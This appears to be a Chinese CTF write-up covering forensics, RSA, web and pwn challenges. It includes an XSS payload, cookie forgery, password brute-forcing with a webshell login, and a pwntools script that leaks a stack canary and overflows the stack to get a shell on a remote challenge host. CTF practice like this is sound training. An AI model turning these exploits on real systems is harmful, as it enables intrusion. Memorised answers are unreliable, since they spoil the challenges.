1-7 Virtual_currency
本题思路如下:
仿真ubuntu
账号huanglei密码19460214
执行查看ip、启动镜像操作

1、然后可以打开ip地址查看平台

可以看出是Polar币
2-4、火眼仿真查看日志

答案都在末尾一部分

5、显示隐藏文件C盘根目录找到一个exe

1-8 Source of danger
本题思路如下:
1、 过滤http

2、 追踪流发现是Edge

3、 对象可导出

ChatGPT

4-5、最后有一个upload,发现是Python上传的,网站就是对应那个

2-2 EzAES
本题思路如下:![]() |
2-4 xiaoji的RSA
import libnumfrom Crypto.Util.number import long_to_bytes# 题目给出的数据h1 = 14598570770570369251044298637863318854969244053819114954671895416691350802920687681668270301378543649113252159681469894140327953343981428435557763783575047421073785093934100988516182011757805151301552786226747639175213248064364104458391503594386384710007637410647669428289271030281975860741433987188926890687769189330536656978907095466736760156091550669274865538908426382007469741745093518762985240171234021436305408209014615992584706412209748494302146308826117702351113891442300797965409831595569786933763773967575744129781374727612526423706127336276048951135368854093017991855415497273999713365969103371554004824509h2 = 11655430400126708521266628893465012008156070100550313215125940102411494976112918677189030755406554269846801368688286768397687408859238412058773272768466345174217960738213084397497134648104645110774595383007722678343723326165844773931623583737649558732929341710652376370393000666923877685083880991816166675473675993119565288119886891401337292448811477124318462203416303782364411201690259713617106545395093938159021072322598644028525378190756212177234492649667270787158675885995463312527798325191816554894434526912762675422186788558909636033206644624947398671285555871818986699430277747968998624440765160214625508302582n = 16117539256891249484718413429700173002583084988861340273782389608188420881800342876872775121756821301056788500260045796850939585388076522939011021777251658702207624594144564384121357888401608404641571728859619754015070281985119363898471820577703197516678288716301039869441770173970562352919565912788016889342101896134309321994797037369608180360632790282197647969119609543804552490560372790883065970972189091831856508916272396614853136857081227250153104695845022919856333090412792344985816893032033703744649648621089458783293225651830841418574525258165458710362104364949367148707705685722700758399918195168711661909001c_sum = 18062960292926203405106631570645792887346762710596094595946201638145269792362432970619678514073768330282072122297774770846723026262793638145140252714036118255298935496782643261099997757452005888950084317572578983859160308143219449311014720216597693717833093096186064214815571678655104145532183363580096161113659794514705540535423432576540755810113817779577012494191762397204056012915596163266097092210799790994886142736276356044755057247863118120000651380079123033610186723297866795705886993017274323290850712391555552018597217459748407996232225971214252337750534257640641166056960137653051788480104937847471213865531leak = 29786109562795434767286575222202920392934698151772733519827029723076564127577506924725472620552207928305324807071633980845799428305323747287497587012814817694240321762385052643719779704776885137653915759833442842418374852111545817139388092965791383085268376283252367393215830021523854878152740193684532064211244526477475872824124551317767515936013314015487953976823909663377712672258700701049790904432754196590520755614551428222850284265995888579989169357385240073615572407415594868320441237551194011351100321407974631166974196395240849462596136681294133772802147270429624576958515766511950802469230517874955000694776# 1. 恢复 c1, c2# c1 + c2 = c_sum# 2*c1 - c2 = leak# 两式相加: 3*c1 = c_sum + leakc1 = (c_sum + leak) // 3c2 = c_sum - c1# 2. 分解 Ne1 = 7717e2 = 8859# 构造 GCD 攻击# h1^e2 * 2025^(e1*e2) == h2^e1 * 2024^(e1*e2) (mod p)val1 = pow(h1, e2, n) * pow(2025, e1 * e2, n) % nval2 = pow(h2, e1, n) * pow(2024, e1 * e2, n) % ndiff = (val1 - val2) % np = libnum.gcd(diff, n)q = n // pprint(f"[+] Found p: {p}")print(f"[+] Found q: {q}")# 3. RSA 解密e = 0x10001phi = (p - 1) * (q - 1)d = libnum.invmod(e, phi)m1 = pow(c1, d, n)m2 = pow(c2, d, n)flag_part1 = long_to_bytes(m1)flag_part2 = long_to_bytes(m2)print(f"[+] Flag: {flag_part1 + flag_part2}")
3-1 来个弹窗2.0
本题思路如下:<img src=x onerror=alert(0)>弹窗成功 是海贼王里的,直接做 ![]() |
3-2 help
| 本题思路如下: Base64转一下就行 ![]() |
3-3 cookie欺骗2.0
| 本题思路如下: 测试账号登录,发现cookie组成形式user用户名,auth是rot13编码改一下就行 ![]() ![]() |
3-4 uii
本题思路如下:![]() Payload:?uii=%59zz ![]() |
3-6 aa
| 本题思路如下: 有个i.php ![]() |
进入后解题,![]() 这三个连在一起就是flag |
3-8 PolarShop
| 本题思路如下: 抓包修改金币数 ![]() 第二个是账号,第三个是密码本 ![]() Bp爆破出密码,密码是5qu1rtle 扫出/admin.php Cookie也改掉 ![]() |
3-9 金币大挑战
| 本题思路如下: 延迟发包进入论坛 最后有个文件密码1170 进去之后得到Squirtle1170 根据论坛的提示找到/uploads/Squirtle.php,拿上面的密码进行蚁剑 ![]() |
3-10 论坛
| 本题思路如下: 扫出来一个 ![]() 提示也是进论坛 ![]() 直接访问即可 ![]() |
3-11 polarflag
|本题思路如下:
密码本给了
账号提示在flag.php
解密后得出账号为polar
账号polar密码6666
先ls
Flag叫polarflag
|
4-1 练习1
用mcp分析
首先写ida脚本导出可能的flag
# export_ida_strings2.py# 在 IDA 中运行:File -> Script file... 选择本文件from __future__ import print_functionimport idautilsimport idaapiimport idcimport sysimport osimport reout_path = r"C:\Users\liang\Desktop\ida_strings.txt"# 可扩展关键词列表keywords = ['flag', 'FLAG', 'CTF', 'picoCTF', 'flag{', 'FLAG{', 'FLAG:', 'flag:']def read_str_at(ea): # 尝试读取 C 字符串(按字节) try: b = idc.get_strlit_contents(ea, -1, idc.STRTYPE_C) if b: try: return b.decode('utf-8', 'ignore') except: return b.decode('latin-1', 'ignore') except Exception: pass # 尝试读取 unicode/wide 字符串 try: b = idc.get_strlit_contents(ea, -1, idc.STRTYPE_C_16) if b: try: return b.decode('utf-16le', 'ignore') except: return b.decode('latin-1', 'ignore') except Exception: pass # 备用:如果 idautils.Strings 对象有 .value/.str/.string 字段 return Nonedef normalize(s): if s is None: return "" return s.replace('\r','').replace('\n','\\n')def main(): strings = list(idautils.Strings()) matches = [] total = 0 with open(out_path, 'w', encoding='utf-8', errors='ignore') as out: out.write("EA\tType\tString\n") for s in strings: total += 1 ea = getattr(s, 'ea', getattr(s, 'start', None)) # try extracting by idc API text = None if ea: text = read_str_at(ea) # fallback to attributes of the object if not text: # Some IDA versions expose different attributes for attr in ('value','string','str','cstr'): if hasattr(s, attr): try: v = getattr(s, attr) if isinstance(v, (bytes, bytearray)): try: text = v.decode('utf-8','ignore') except: text = v.decode('latin-1','ignore') else: text = str(v) break except Exception: continue if not text: # last resort: try idc.get_wide_word/byte sequences - skip for speed text = "<unreadable>" out.write("0x{0:X}\t{1}\t{2}\n".format(ea if ea else 0, type(s).__name__, normalize(text))) # 查关键词(不区分大小写并保留原文判断) low = text.lower() if isinstance(text, str) else "" for k in keywords: if k.lower() in low: matches.append((ea, text)) break print("Wrote {} strings to: {}".format(total, out_path)) if matches: print("Possible flag-like matches (EA, string):") for ea, text in matches: print("0x{0:X}\t{1}".format(ea if ea else 0, text)) else: print("No obvious flag-like strings found (checked keywords {}).".format(keywords))if __name__ == "__main__": main()
然后发现疑似flag,再看函数
# find_xrefs_and_decompile.py# 在 IDA 中运行:File -> Script file... 或 Alt+F7from __future__ import print_functionimport idautilsimport idaapiimport idcimport sysTARGET_EA = 0x14001ACF0 # 要检查的字符串地址def read_string(ea): try: b = idc.get_strlit_contents(ea, -1, idc.STRTYPE_C) if b: try: return b.decode('utf-8', 'ignore') except: return b.decode('latin-1', 'ignore') except: pass try: b = idc.get_strlit_contents(ea, -1, idc.STRTYPE_C_16) if b: try: return b.decode('utf-16le', 'ignore') except: return b.decode('latin-1', 'ignore') except: pass return "<no-string>"def decompile_func_at(ea): try: cfunc = idaapi.decompile(ea) return str(cfunc) except Exception as e: # Hex-Rays 不可用或反编译失败,返回部分反汇编作为回退 lines = [] for i, insn in enumerate(idautils.FuncItems(ea)): lines.append("0x{0:X}: {1}".format(insn, idc.GetDisasm(insn))) if i > 200: break return "\n".join(lines)def main(): print("Target EA: 0x{0:X}".format(TARGET_EA)) print("String at target:", read_string(TARGET_EA)) print("Searching XrefsTo...") xrefs = list(idautils.XrefsTo(TARGET_EA)) if not xrefs: print("No Xrefs found to 0x{0:X}.".format(TARGET_EA)) return for xr in xrefs: print("-" * 60) print("Ref from: 0x{0:X} type:{1}".format(xr.frm, xr.type)) func = idaapi.get_func(xr.frm) if func: start = func.start_ea end = func.end_ea print("Function: 0x{0:X} - 0x{1:X}".format(start, end)) print("Attempting to decompile function at 0x{0:X} ...".format(start)) decomp = decompile_func_at(start) print(decomp) else: print("No function contains the ref (maybe data xref). Disasm around ref:") # print a few instructions around the ref for addr in range(max(0, xr.frm-16), xr.frm+16, 1): # only print valid instructions try: d = idc.GetDisasm(addr) if d: print("0x{0:X}: {1}".format(addr, d)) except: passif __name__ == "__main__":main()
最后自动分析得到结果

5-4 choice
_#!/usr/bin/env python3_from pwn import *_# pwntools PoC:_ _利用 format-string 覆盖 printf@GOT 为 backdoor 地址__#_ _说明:此脚本假设在本地运行 ./pwn1(与 IDA 中打开的二进制相同)。__#_ _如果是远程服务,请将 process(...) 替换为 remote(host, port)_exe_path = './pwn1'elf = ELF(exe_path)context.binary = elfcontext.terminal = ['powershell.exe', '-c']**def** fuzz_offset(): _#_ _自动化探测偏移量和 Canary_ print("Starting fuzzing...") for i in range(1, 40): try: p = remote('1.95.7.68', 2089) _#_ _或者 process(exe_path) 本地测试_ _#_ _接收菜单_ p.recvuntil(**b**'enter your choice:') p.sendline(**b**'2') _#_ _接收提示_ p.recvuntil(**b**'think again') _#_ _发送 payload_ _#_ _使用 send 而不是 sendline,避免不必要的换行符占用空间,除非需要_ _#_ _但是 read 会一直读直到 32 字节或者 EOF?_ _#_ _不,read(0, buf, 32) 会阻塞直到有输入。_ _#_ _如果是终端,按回车会发送数据。_ _#_ _让我们发送明确的 payload_ payload = **f**'%{i}$p'.encode() p.sendline(payload) _#_ _读取输出_ _# printf(buf)_ _会输出我们的 payload 解析结果_ _#_ _紧接着函数返回,回到 main 循环,再次打印菜单 "what's the game plan?"_ _#_ _所以我们可以读取直到 "what's the game plan?"_ try: _#_ _读取所有输出直到下一个菜单出现_ response = p.recvuntil(**b**"what's the game plan?", timeout=1) _#_ _我们的泄露信息应该在 response 开头_ print(**f**'Offset {i}: {response}') except EOFError: print(**f**'Offset {i}: EOF') except Exception as e: print(**f**'Offset {i}: Timeout or Error {e}') p.close() except Exception as e: print(**f**'Offset {i} error: {e}') if 'p' in locals(): p.close()**def** exploit_canary(): _# 1._ _利用 fmt 泄露 Canary_ p = remote('1.95.7.68', 2089) _# Step 1: Select Plan 2 (Format String) to leak Canary_ p.recvuntil(**b**'enter your choice:') p.sendline(**b**'2') p.recvuntil(**b**'think again') _#_ _发送 payload 泄露 Canary (Offset 25)_ _#_ _注意:read 只能读 32 字节,payload 要短_ p.sendline(**b**'%25$p') _#_ _解析输出_ try: _#_ _读取直到菜单再次出现,中间包含泄露信息_ output = p.recvuntil(**b**'enter your choice:') print(**f**"Leak output raw: {output}") _#_ _提取 hex 字符串_ import re _#_ _查找类似于 0x... 的字符串_ match = re.search(**b**'(0x[0-9a-f]+)', output) if not match: log.error("Failed to find leak in output") return canary_str = match.group(1) canary = int(canary_str, 16) log.info(**f**"Canary found: {hex(canary)}") _#_ _验证 Canary 特征 (低字节为 00)_ if (canary & **0x**ff) != 0: log.warning("Warning: Leaked value does not look like a canary (LSB != 00)") _# Step 2: Select Plan 1 (Stack Overflow)_ p.sendline(**b**'1') p.recvuntil(**b**'are you sure?') _#_ _构造栈溢出 payload_ _# buf (152 bytes) + canary (8 bytes) + saved_rbp (8 bytes) + return_addr_ _#_ _注意:p64 需要 from pwn import *_ backdoor_addr = **0x**40095b _#_ _尝试跳过 prologue 以解决栈对齐问题,或者添加 ret gadget_ _# 0x40095b: push rbp_ _# 0x40095c: mov rbp, rsp_ _# 0x40095f: mov edi, ..._ _#_ _查找 ret gadget 用于对齐_ _# ROPgadget --binary pwn1 | grep ret_ _#_ _或者直接用 pwntools_ rop = ROP(elf) ret_gadget = rop.find_gadget(['ret'])[0] log.info(**f**"Ret gadget: {hex(ret_gadget)}") payload = **b**'A' * 152 payload += p64(canary) payload += **b**'B' * 8 _# saved rbp_ _#_ _尝试 1: 直接跳转 (已失败)_ _# payload += p64(backdoor_addr)_ _#_ _尝试 2: 添加 ret gadget 对齐栈_ payload += p64(ret_gadget) payload += p64(backdoor_addr) log.info(**f**"Sending payload length: {len(payload)}") p.sendline(payload) _#_ _切换到交互模式_ _#_ _如果成功,应该获得 shell_ p.interactive() except Exception as e: log.error(**f**"Exploit failed: {e}") p.close()if __name__ == '__main__': _#_ _建议先运行 fuzz 确定 offset,然后运行 exploit_ _# fuzz_offset()_ exploit_canary()
6-3 点击挑战
真的点了一万次
















